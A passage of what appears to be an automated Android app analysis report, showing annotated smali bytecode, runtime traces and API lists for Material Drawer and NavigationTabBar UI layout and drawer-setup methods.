200invoke-virtual {v0, v8}, Lcom/mikepenz/a/b;->d(Z)Lcom/mikepenz/a/b;
  • Data flow analysis:
    • p0: 1
201cond_11c:
202iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->ab:Landroid/support/v7/widget/RecyclerView$a;
203if-nez v0, :cond_200
205iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->U:Landroid/support/v7/widget/RecyclerView;
207iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->X:Lcom/mikepenz/a/b;
209invoke-virtual {v0, v2}, Landroid/support/v7/widget/RecyclerView;->setAdapter(Landroid/support/v7/widget/RecyclerView$a;)V
210goto_127: iget v0, p0, Lcom/mikepenz/materialdrawer/d;->S:I
211if-nez v0, :cond_13b
212iget-wide v2, p0, Lcom/mikepenz/materialdrawer/d;->T:J
213const-wide/16 v6, 0x0
214cmp-long v0, v2, v6
215if-eqz v0, :cond_13b
216iget-wide v2, p0, Lcom/mikepenz/materialdrawer/d;->T:J
218invoke-static {p0, v2, v3}, Lcom/mikepenz/materialdrawer/e;->a(Lcom/mikepenz/materialdrawer/d;J)I
219move-result v0
220iput v0, p0, Lcom/mikepenz/materialdrawer/d;->S:I
221cond_13b:
222iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->D:Landroid/view/View;
223if-eqz v0, :cond_145
224iget v0, p0, Lcom/mikepenz/materialdrawer/d;->S:I
225if-nez v0, :cond_145
226iput v8, p0, Lcom/mikepenz/materialdrawer/d;->S:I
227cond_145:
228iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->X:Lcom/mikepenz/a/b;
230invoke-virtual {v0}, Lcom/mikepenz/a/b;->g()V
232iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->X:Lcom/mikepenz/a/b;
233iget v2, p0, Lcom/mikepenz/materialdrawer/d;->S:I
235invoke-virtual {v0, v2}, Lcom/mikepenz/a/b;->j(I)V
237iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->X:Lcom/mikepenz/a/b;
238new-instance v2, Lcom/mikepenz/materialdrawer/d$6;
240invoke-direct {v2, p0}, Lcom/mikepenz/materialdrawer/d$6;-><init>(Lcom/mikepenz/materialdrawer/d;)V
242invoke-virtual {v0, v2}, Lcom/mikepenz/a/b;->a(Lcom/mikepenz/a/b$c;)Lcom/mikepenz/a/b;
244iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->X:Lcom/mikepenz/a/b;
245new-instance v2, Lcom/mikepenz/materialdrawer/d$7;
247invoke-direct {v2, p0}, Lcom/mikepenz/materialdrawer/d$7;-><init>(Lcom/mikepenz/materialdrawer/d;)V
249invoke-virtual {v0, v2}, Lcom/mikepenz/a/b;->a(Lcom/mikepenz/a/b$f;)Lcom/mikepenz/a/b;
251iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->U:Landroid/support/v7/widget/RecyclerView;
252if-eqz v0, :cond_16e
254iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->U:Landroid/support/v7/widget/RecyclerView;
256invoke-virtual {v0, v1}, Landroid/support/v7/widget/RecyclerView;->a(I)V
257cond_16e:
258iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->ap:Landroid/os/Bundle;
259if-eqz v0, :cond_18a
260iget-boolean v0, p0, Lcom/mikepenz/materialdrawer/d;->c:Z
261if-nez v0, :cond_209
263iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->X:Lcom/mikepenz/a/b;
265iget-object v1, p0, Lcom/mikepenz/materialdrawer/d;->ap:Landroid/os/Bundle;
267const-string v2, "_selection"
269invoke-virtual {v0, v1, v2}, Lcom/mikepenz/a/b;->a(Landroid/os/Bundle;Ljava/lang/String;)Lcom/mikepenz/a/b;
  • Data flow analysis:
    • p1: _selection
271iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->ap:Landroid/os/Bundle;
273const-string v1, "bundle_sticky_footer_selection"
275invoke-virtual {v0, v1, v4}, Landroid/os/Bundle;->getInt(Ljava/lang/String;I)I
  • Data flow analysis:
    • key: bundle_sticky_footer_selection
276move-result v0
278invoke-static {p0, v0, v9}, Lcom/mikepenz/materialdrawer/e;->a(Lcom/mikepenz/materialdrawer/d;ILjava/lang/Boolean;)V
279goto_18a: iget-boolean v0, p0, Lcom/mikepenz/materialdrawer/d;->Q:Z
280if-eqz v0, :cond_1b
282iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->ai:Lcom/mikepenz/materialdrawer/c$a;
283if-eqz v0, :cond_1b
285iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->X:Lcom/mikepenz/a/b;
287invoke-virtual {v0}, Lcom/mikepenz/a/b;->c()Ljava/util/Set;
288move-result-object v0
290invoke-interface {v0}, Ljava/util/Set;->size()I
291move-result v0
292if-nez v0, :cond_21f
293move v0, v4
294goto_19f:
295iget-object v1, p0, Lcom/mikepenz/materialdrawer/d;->ai:Lcom/mikepenz/materialdrawer/c$a;
297invoke-virtual {p0, v0}, Lcom/mikepenz/materialdrawer/d;->b(I)Lcom/mikepenz/materialdrawer/d/a/a;
298move-result-object v2
300invoke-interface {v1, v9, v0, v2}, Lcom/mikepenz/materialdrawer/c$a;->a(Landroid/view/View;ILcom/mikepenz/materialdrawer/d/a/a;)Z
301goto/16 :goto_1b
302cond_1aa: sget v0, Lcom/mikepenz/materialdrawer/g$d;->material_drawer_shadow_left:I
303goto/16 :goto_3a
304cond_1ae:
305iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->p:Landroid/support/v4/widget/DrawerLayout;
307iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->w:Ljava/lang/Integer;
309invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
310move-result v0
311if-ne v0, v7, :cond_1c5
312sget v0, Lcom/mikepenz/materialdrawer/g$d;->material_drawer_shadow_left:I
313goto_1ba:
314iget-object v3, p0, Lcom/mikepenz/materialdrawer/d;->w:Ljava/lang/Integer;
316invoke-virtual {v3}, Ljava/lang/Integer;->intValue()I
317move-result v3
319invoke-virtual {v2, v0, v3}, Landroid/support/v4/widget/DrawerLayout;->setDrawerShadow(II)V
320goto/16 :goto_43
321cond_1c5: sget v0, Lcom/mikepenz/materialdrawer/g$d;->material_drawer_shadow_right:I
322goto/16 :goto_1ba
323cond_1c8:
324iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->U:Landroid/support/v7/widget/RecyclerView;
325goto/16 :goto_c4
326cond_1cc: sget v2, Lcom/mikepenz/materialdrawer/g$d;->material_drawer_shadow_right:I
328invoke-virtual {v0, v2}, Landroid/view/View;->setBackgroundResource(I)V
329goto/16 :goto_f1
330cond_1d3: iget v0, p0, Lcom/mikepenz/materialdrawer/d;->s:I
331if-eq v0, v4, :cond_1e6
333iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->q:Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;
335iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->d:Landroid/app/Activity;
336iget v3, p0, Lcom/mikepenz/materialdrawer/d;->s:I
338invoke-static {v2, v3}, Landroid/support/v4/content/a;->c(Landroid/content/Context;I)I
339move-result v2
341invoke-virtual {v0, v2}, Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;->setBackgroundColor(I)V
342goto/16 :goto_fc
343cond_1e6:
344iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->t:Landroid/graphics/drawable/Drawable;
345if-eqz v0, :cond_1f3
347iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->q:Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;
349iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->t:Landroid/graphics/drawable/Drawable;
351invoke-static {v0, v2}, Lcom/mikepenz/materialize/c/b;->a(Landroid/view/View;Landroid/graphics/drawable/Drawable;)V
352goto/16 :goto_fc
353cond_1f3: iget v0, p0, Lcom/mikepenz/materialdrawer/d;->u:I
354if-eq v0, v4, :cond_fc
356iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->q:Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;
357iget v2, p0, Lcom/mikepenz/materialdrawer/d;->u:I
359invoke-static {v0, v2}, Lcom/mikepenz/materialize/c/b;->a(Landroid/view/View;I)V
360goto/16 :goto_fc
361cond_200:
362iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->U:Landroid/support/v7/widget/RecyclerView;
364iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->ab:Landroid/support/v7/widget/RecyclerView$a;
366invoke-virtual {v0, v2}, Landroid/support/v7/widget/RecyclerView;->setAdapter(Landroid/support/v7/widget/RecyclerView$a;)V
367goto/16 :goto_127
368cond_209:
369iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->X:Lcom/mikepenz/a/b;
371iget-object v1, p0, Lcom/mikepenz/materialdrawer/d;->ap:Landroid/os/Bundle;
373const-string v2, "_selection_appended"
375invoke-virtual {v0, v1, v2}, Lcom/mikepenz/a/b;->a(Landroid/os/Bundle;Ljava/lang/String;)Lcom/mikepenz/a/b;
  • Data flow analysis:
    • p1: _selection_appended
377iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->ap:Landroid/os/Bundle;
379const-string v1, "bundle_sticky_footer_selection_appended"
381invoke-virtual {v0, v1, v4}, Landroid/os/Bundle;->getInt(Ljava/lang/String;I)I
  • Data flow analysis:
    • key: bundle_sticky_footer_selection_appended
382move-result v0
384invoke-static {p0, v0, v9}, Lcom/mikepenz/materialdrawer/e;->a(Lcom/mikepenz/materialdrawer/d;ILjava/lang/Boolean;)V
385goto/16 :goto_18a
386cond_21f:
387iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->X:Lcom/mikepenz/a/b;
389invoke-virtual {v0}, Lcom/mikepenz/a/b;->c()Ljava/util/Set;
390move-result-object v0
392invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
393move-result-object v0
395invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
396move-result-object v0
397check-cast v0, Ljava/lang/Integer;
399invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
400move-result v0
401goto/16 :goto_19f
402cond_235: move v2, v1
403goto/16 :goto_be
404cond_238: move v0, v1
405goto/16 :goto_8d
APIs
  • android.view.View.onMeasure
  • android.view.View$MeasureSpec.getSize
  • java.util.List.isEmpty
  • java.util.List.size
  • android.graphics.Rect.<init>
  • android.graphics.Paint.setTextSize
  • android.graphics.Paint.getTextBounds
  • android.graphics.Rect.height
  • android.graphics.RectF.set
  • android.graphics.RectF.width
  • android.graphics.RectF.height
  • android.graphics.RectF.set
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • android.graphics.Bitmap.getWidth
  • android.graphics.Bitmap.getHeight
  • android.graphics.Bitmap.getWidth
  • java.util.List.size
  • android.graphics.Bitmap.getHeight
  • devlight.io.library.ntb.NavigationTabBar.isInEditMode
  • java.util.Random.<init>
  • java.util.List.size
  • java.util.Random.nextInt
  • java.util.List.size
  • java.util.List.get
  • devlight.io.library.ntb.NavigationTabBar.a
  • devlight.io.library.ntb.NavigationTabBar.setBehaviorEnabled
Strings
  • 0
Position Instruction Meta Information
0.annotation build Landroid/annotation/SuppressLint;
1value = {
2"DrawAllocation"
3}
4.end annotation
5.prologue
6const/4 v9, 0x1
7const v4, 0x3e4ccccd # 0.2f
8const/high16 v2, 0x3f000000 # 0.5f
9const/4 v3, 0x0
10const/4 v5, 0x0
12invoke-super {p0, p1, p2}, Landroid/view/View;->onMeasure(II)V
14invoke-static {p1}, Landroid/view/View$MeasureSpec;->getSize(I)I
15move-result v6
17invoke-static {p2}, Landroid/view/View$MeasureSpec;->getSize(I)I
18move-result v7
20iget-object v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->I:Ljava/util/List;
22invoke-interface {v0}, Ljava/util/List;->isEmpty()Z
23move-result v0
24if-nez v0, :cond_1f
25if-eqz v6, :cond_1f
26if-nez v7, :cond_20
27goto_1f: return-void
28cond_20: if-le v6, v7, :cond_106
29iput-boolean v9, p0, Ldevlight/io/library/ntb/NavigationTabBar;->as:Z
30int-to-float v0, v6
32iget-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->I:Ljava/util/List;
34invoke-interface {v1}, Ljava/util/List;->size()I
35move-result v1
36int-to-float v1, v1
37div-float/2addr v0, v1
38iput v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->O:F
39iget v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->O:F
40int-to-float v1, v7
41cmpl-float v0, v0, v1
42if-lez v0, :cond_f8
43int-to-float v0, v7
44goto_37: iget-boolean v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->am:Z
45if-eqz v1, :cond_3e
46mul-float v1, v0, v4
47sub-float/2addr v0, v1
48cond_3e: iget v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->Q:F
49const/high16 v8, -0x3f800000 # -4.0f
50cmpl-float v1, v1, v8
51if-eqz v1, :cond_fc
52iget v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->Q:F
53goto_48: mul-float/2addr v1, v0
54iput v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->P:F
55iget v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->S:F
56const/high16 v8, -0x40000000 # -2.0f
57cmpl-float v1, v1, v8
58if-nez v1, :cond_57
59mul-float v1, v0, v4
60iput v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->S:F
61cond_57: const v1, 0x3e19999a # 0.15f
62mul-float/2addr v1, v0
63iput v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->T:F
64iget-boolean v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->am:Z
65if-eqz v1, :cond_92
66iget v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->V:F
67const/high16 v8, -0x40000000 # -2.0f
68cmpl-float v1, v1, v8
69if-nez v1, :cond_70
70mul-float/2addr v0, v4
71const v1, 0x3f666666 # 0.9f
72mul-float/2addr v0, v1
73iput v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->V:F
74cond_70: new-instance v0, Landroid/graphics/Rect;
76invoke-direct {v0}, Landroid/graphics/Rect;-><init>()V
78iget-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->E:Landroid/graphics/Paint;
79iget v8, p0, Ldevlight/io/library/ntb/NavigationTabBar;->V:F
81invoke-virtual {v1, v8}, Landroid/graphics/Paint;->setTextSize(F)V
83iget-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->E:Landroid/graphics/Paint;
85const-string v8, "0"
87invoke-virtual {v1, v8, v5, v9, v0}, Landroid/graphics/Paint;->getTextBounds(Ljava/lang/String;IILandroid/graphics/Rect;)V
  • Data flow analysis:
    • text: 0
    • start: 0
    • end: 1
89invoke-virtual {v0}, Landroid/graphics/Rect;->height()I
90move-result v0
91int-to-float v0, v0
92mul-float/2addr v0, v2
93iget v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->V:F
94mul-float/2addr v1, v2
95const/high16 v2, 0x3f400000 # 0.75f
96mul-float/2addr v1, v2
97add-float/2addr v0, v1
98iput v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->U:F
99cond_92:
100iget-object v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->f:Landroid/graphics/RectF;
101int-to-float v1, v6
102int-to-float v2, v7
103iget v6, p0, Ldevlight/io/library/ntb/NavigationTabBar;->U:F
104sub-float/2addr v2, v6
106invoke-virtual {v0, v3, v3, v1, v2}, Landroid/graphics/RectF;->set(FFFF)V
  • Data flow analysis:
    • p0: 0
    • p1: 0
108iget-object v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->ab:Ldevlight/io/library/ntb/NavigationTabBar$a;
110sget-object v1, Ldevlight/io/library/ntb/NavigationTabBar$a;->a:Ldevlight/io/library/ntb/NavigationTabBar$a;
111if-ne v0, v1, :cond_136
112iget v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->U:F
113goto_a4:
114iget-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->g:Landroid/graphics/RectF;
116iget-object v2, p0, Ldevlight/io/library/ntb/NavigationTabBar;->f:Landroid/graphics/RectF;
118invoke-virtual {v2}, Landroid/graphics/RectF;->width()F
119move-result v2
121iget-object v6, p0, Ldevlight/io/library/ntb/NavigationTabBar;->f:Landroid/graphics/RectF;
123invoke-virtual {v6}, Landroid/graphics/RectF;->height()F
124move-result v6
125add-float/2addr v6, v0
127invoke-virtual {v1, v3, v0, v2, v6}, Landroid/graphics/RectF;->set(FFFF)V
  • Data flow analysis:
    • p0: 0
129iget-object v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->I:Ljava/util/List;
131invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
132move-result-object v2
133goto_bc:
134invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
135move-result v0
136if-eqz v0, :cond_147
138invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
139move-result-object v0
140check-cast v0, Ldevlight/io/library/ntb/NavigationTabBar$c;
142invoke-static {v0}, Ldevlight/io/library/ntb/NavigationTabBar$c;->b(Ldevlight/io/library/ntb/NavigationTabBar$c;)Landroid/graphics/Bitmap;
143move-result-object v1
145invoke-virtual {v1}, Landroid/graphics/Bitmap;->getWidth()I
146move-result v1
148invoke-static {v0}, Ldevlight/io/library/ntb/NavigationTabBar$c;->b(Ldevlight/io/library/ntb/NavigationTabBar$c;)Landroid/graphics/Bitmap;
149move-result-object v6
151invoke-virtual {v6}, Landroid/graphics/Bitmap;->getHeight()I
152move-result v6
153if-le v1, v6, :cond_139
155invoke-static {v0}, Ldevlight/io/library/ntb/NavigationTabBar$c;->b(Ldevlight/io/library/ntb/NavigationTabBar$c;)Landroid/graphics/Bitmap;
156move-result-object v1
158invoke-virtual {v1}, Landroid/graphics/Bitmap;->getWidth()I
159move-result v1
160int-to-float v1, v1
161goto_e3: iget v6, p0, Ldevlight/io/library/ntb/NavigationTabBar;->P:F
162div-float v1, v6, v1
164invoke-static {v0, v1}, Ldevlight/io/library/ntb/NavigationTabBar$c;->b(Ldevlight/io/library/ntb/NavigationTabBar$c;F)F
166invoke-static {v0}, Ldevlight/io/library/ntb/NavigationTabBar$c;->c(Ldevlight/io/library/ntb/NavigationTabBar$c;)F
167move-result v6
168iget-boolean v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->al:Z
169if-eqz v1, :cond_143
170move v1, v4
171goto_f3: mul-float/2addr v1, v6
173invoke-static {v0, v1}, Ldevlight/io/library/ntb/NavigationTabBar$c;->c(Ldevlight/io/library/ntb/NavigationTabBar$c;F)F
174goto/16 :goto_bc
175cond_f8: iget v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->O:F
176goto/16 :goto_37
177cond_fc: iget-boolean v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->al:Z
178if-eqz v1, :cond_103
179move v1, v2
180goto/16 :goto_48
181cond_103: move v1, v2
182goto/16 :goto_48
183cond_106: iput-boolean v5, p0, Ldevlight/io/library/ntb/NavigationTabBar;->u:Z
184iput-boolean v5, p0, Ldevlight/io/library/ntb/NavigationTabBar;->as:Z
185iput-boolean v5, p0, Ldevlight/io/library/ntb/NavigationTabBar;->al:Z
186iput-boolean v5, p0, Ldevlight/io/library/ntb/NavigationTabBar;->am:Z
187int-to-float v0, v7
189iget-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->I:Ljava/util/List;
191invoke-interface {v1}, Ljava/util/List;->size()I
192move-result v1
193int-to-float v1, v1
194div-float/2addr v0, v1
195iput v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->O:F
196iget v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->O:F
197int-to-float v1, v6
198cmpl-float v0, v0, v1
199if-lez v0, :cond_130
200int-to-float v0, v6
201goto_121: iget v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->Q:F
202const/high16 v8, -0x3f800000 # -4.0f
203cmpl-float v1, v1, v8
204if-nez v1, :cond_133
205goto_129: mul-float/2addr v0, v2
206float-to-int v0, v0
207int-to-float v0, v0
208iput v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->P:F
209goto/16 :goto_92
210cond_130: iget v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->O:F
211goto/16 :goto_121
212cond_133: iget v2, p0, Ldevlight/io/library/ntb/NavigationTabBar;->Q:F
213goto/16 :goto_129
214cond_136: move v0, v3
215goto/16 :goto_a4
216cond_139:
217invoke-static {v0}, Ldevlight/io/library/ntb/NavigationTabBar$c;->b(Ldevlight/io/library/ntb/NavigationTabBar$c;)Landroid/graphics/Bitmap;
218move-result-object v1
220invoke-virtual {v1}, Landroid/graphics/Bitmap;->getHeight()I
221move-result v1
222int-to-float v1, v1
223goto/16 :goto_e3
224cond_143: const v1, 0x3e99999a # 0.3f
225goto/16 :goto_f3
226cond_147: const/4 v0, 0x0
227iput-object v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->k:Landroid/graphics/Bitmap;
228const/4 v0, 0x0
229iput-object v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->q:Landroid/graphics/Bitmap;
230const/4 v0, 0x0
231iput-object v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->m:Landroid/graphics/Bitmap;
232iget-boolean v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->al:Z
233if-eqz v0, :cond_157
234const/4 v0, 0x0
235iput-object v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->o:Landroid/graphics/Bitmap;
236cond_157:
237invoke-virtual {p0}, Ldevlight/io/library/ntb/NavigationTabBar;->isInEditMode()Z
  • Time: 64418
    • This:
      • devlight.io.library.ntb.NavigationTabBar{d13fc86 V.ED.... ......ID 0,0-0,0 #7f0f0091 app:id/ntb_horizontal}
    • Return:
      • false
238move-result v0
239if-nez v0, :cond_161
240iget-boolean v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->ar:Z
241if-nez v0, :cond_1b7
242cond_161: iput-boolean v9, p0, Ldevlight/io/library/ntb/NavigationTabBar;->aw:Z
244invoke-virtual {p0}, Ldevlight/io/library/ntb/NavigationTabBar;->isInEditMode()Z
  • Time: 64433
    • This:
      • devlight.io.library.ntb.NavigationTabBar{d13fc86 V.ED.... ......ID 0,0-0,0 #7f0f0091 app:id/ntb_horizontal}
    • Return:
      • false
245move-result v0
246if-eqz v0, :cond_1a6
247new-instance v0, Ljava/util/Random;
249invoke-direct {v0}, Ljava/util/Random;-><init>()V
251iget-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->I:Ljava/util/List;
253invoke-interface {v1}, Ljava/util/List;->size()I
254move-result v1
256invoke-virtual {v0, v1}, Ljava/util/Random;->nextInt(I)I
257move-result v0
258iput v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->af:I
259iget-boolean v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->am:Z
260if-eqz v0, :cond_1a6
261move v1, v5
262goto_17f:
263iget-object v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->I:Ljava/util/List;
265invoke-interface {v0}, Ljava/util/List;->size()I
266move-result v0
267if-ge v1, v0, :cond_1a6
269iget-object v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->I:Ljava/util/List;
271invoke-interface {v0, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 0
272move-result-object v0
273check-cast v0, Ldevlight/io/library/ntb/NavigationTabBar$c;
274iget v2, p0, Ldevlight/io/library/ntb/NavigationTabBar;->af:I
275if-ne v1, v2, :cond_19f
276const/high16 v2, 0x3f800000 # 1.0f
278invoke-static {v0, v2}, Ldevlight/io/library/ntb/NavigationTabBar$c;->a(Ldevlight/io/library/ntb/NavigationTabBar$c;F)F
280invoke-virtual {v0}, Ldevlight/io/library/ntb/NavigationTabBar$c;->d()V
281goto_19b: add-int/lit8 v0, v1, 0x1
282move v1, v0
283goto/16 :goto_17f
284cond_19f:
285invoke-static {v0, v3}, Ldevlight/io/library/ntb/NavigationTabBar$c;->a(Ldevlight/io/library/ntb/NavigationTabBar$c;F)F
287invoke-virtual {v0}, Ldevlight/io/library/ntb/NavigationTabBar$c;->e()V
288goto/16 :goto_19b
289cond_1a6: iget v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->af:I
290int-to-float v0, v0
291iget v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->O:F
292mul-float/2addr v0, v1
293iput v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->ah:F
294iget v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->ah:F
295iput v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->ai:F
296const/high16 v0, 0x3f800000 # 1.0f
298invoke-virtual {p0, v0}, Ldevlight/io/library/ntb/NavigationTabBar;->a(F)V
299cond_1b7: iget-boolean v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->t:Z
300if-nez v0, :cond_1f
301iget-boolean v0, p0, Ldevlight/io/library/ntb/NavigationTabBar;->u:Z
303invoke-virtual {p0, v0}, Ldevlight/io/library/ntb/NavigationTabBar;->setBehaviorEnabled(Z)V
304iput-boolean v9, p0, Ldevlight/io/library/ntb/NavigationTabBar;->t:Z
305goto/16 :goto_1f
Cross References
APIs
  • android.view.View.getContext
  • android.view.View.setId
  • com.mikepenz.materialdrawer.d.j$a.a
  • android.view.View.setClickable
  • com.mikepenz.materialdrawer.d.j$a.a
  • android.view.View.setEnabled
  • com.mikepenz.materialdrawer.d.j$a.b
  • android.widget.TextView.setTextColor
  • com.mikepenz.materialdrawer.d.j$a.b
  • android.widget.TextView.setTypeface
  • com.mikepenz.materialdrawer.d.j.l
  • com.mikepenz.materialdrawer.d.j$a.c
  • android.view.View.setVisibility
  • com.mikepenz.materialdrawer.d.j$a.c
  • android.view.View.setBackgroundColor
  • com.mikepenz.materialdrawer.d.j$a.c
  • android.view.View.setVisibility
Position Instruction Meta Information
0.prologue
1const/4 v5, 0x0
3invoke-super {p0, p1, p2}, Lcom/mikepenz/materialdrawer/d/b;->a(Landroid/support/v7/widget/RecyclerView$u;Ljava/util/List;)V
5iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/j$a;->a:Landroid/view/View;
7invoke-virtual {v0}, Landroid/view/View;->getContext()Landroid/content/Context;
8move-result-object v0
10iget-object v1, p1, Lcom/mikepenz/materialdrawer/d/j$a;->a:Landroid/view/View;
12invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/j;->hashCode()I
13move-result v2
15invoke-virtual {v1, v2}, Landroid/view/View;->setId(I)V
17invoke-static {p1}, Lcom/mikepenz/materialdrawer/d/j$a;->a(Lcom/mikepenz/materialdrawer/d/j$a;)Landroid/view/View;
18move-result-object v1
20invoke-virtual {v1, v5}, Landroid/view/View;->setClickable(Z)V
  • Data flow analysis:
    • clickable: 0
22invoke-static {p1}, Lcom/mikepenz/materialdrawer/d/j$a;->a(Lcom/mikepenz/materialdrawer/d/j$a;)Landroid/view/View;
23move-result-object v1
25invoke-virtual {v1, v5}, Landroid/view/View;->setEnabled(Z)V
  • Data flow analysis:
    • enabled: 0
27invoke-static {p1}, Lcom/mikepenz/materialdrawer/d/j$a;->b(Lcom/mikepenz/materialdrawer/d/j$a;)Landroid/widget/TextView;
28move-result-object v1
30invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/j;->m()Lcom/mikepenz/materialdrawer/a/b;
31move-result-object v2
32sget v3, Lcom/mikepenz/materialdrawer/g$a;->material_drawer_secondary_text:I
33sget v4, Lcom/mikepenz/materialdrawer/g$b;->material_drawer_secondary_text:I
35invoke-static {v2, v0, v3, v4}, Lcom/mikepenz/materialdrawer/a/b;->a(Lcom/mikepenz/materialize/b/a;Landroid/content/Context;II)I
36move-result v2
38invoke-virtual {v1, v2}, Landroid/widget/TextView;->setTextColor(I)V
40invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/j;->n()Lcom/mikepenz/materialdrawer/a/e;
41move-result-object v1
43invoke-static {p1}, Lcom/mikepenz/materialdrawer/d/j$a;->b(Lcom/mikepenz/materialdrawer/d/j$a;)Landroid/widget/TextView;
44move-result-object v2
46invoke-static {v1, v2}, Lcom/mikepenz/materialdrawer/a/e;->a(Lcom/mikepenz/materialize/b/d;Landroid/widget/TextView;)V
48invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/j;->o()Landroid/graphics/Typeface;
49move-result-object v1
50if-eqz v1, :cond_50
52invoke-static {p1}, Lcom/mikepenz/materialdrawer/d/j$a;->b(Lcom/mikepenz/materialdrawer/d/j$a;)Landroid/widget/TextView;
53move-result-object v1
55invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/j;->o()Landroid/graphics/Typeface;
56move-result-object v2
58invoke-virtual {v1, v2}, Landroid/widget/TextView;->setTypeface(Landroid/graphics/Typeface;)V
59cond_50:
60invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/j;->l()Z
  • Time: 64662
    • This:
      • com.mikepenz.materialdrawer.d.j@9e626c55
    • Return:
      • true
61move-result v1
62if-eqz v1, :cond_72
64invoke-static {p1}, Lcom/mikepenz/materialdrawer/d/j$a;->c(Lcom/mikepenz/materialdrawer/d/j$a;)Landroid/view/View;
65move-result-object v1
67invoke-virtual {v1, v5}, Landroid/view/View;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 0
68goto_5d:
69invoke-static {p1}, Lcom/mikepenz/materialdrawer/d/j$a;->c(Lcom/mikepenz/materialdrawer/d/j$a;)Landroid/view/View;
70move-result-object v1
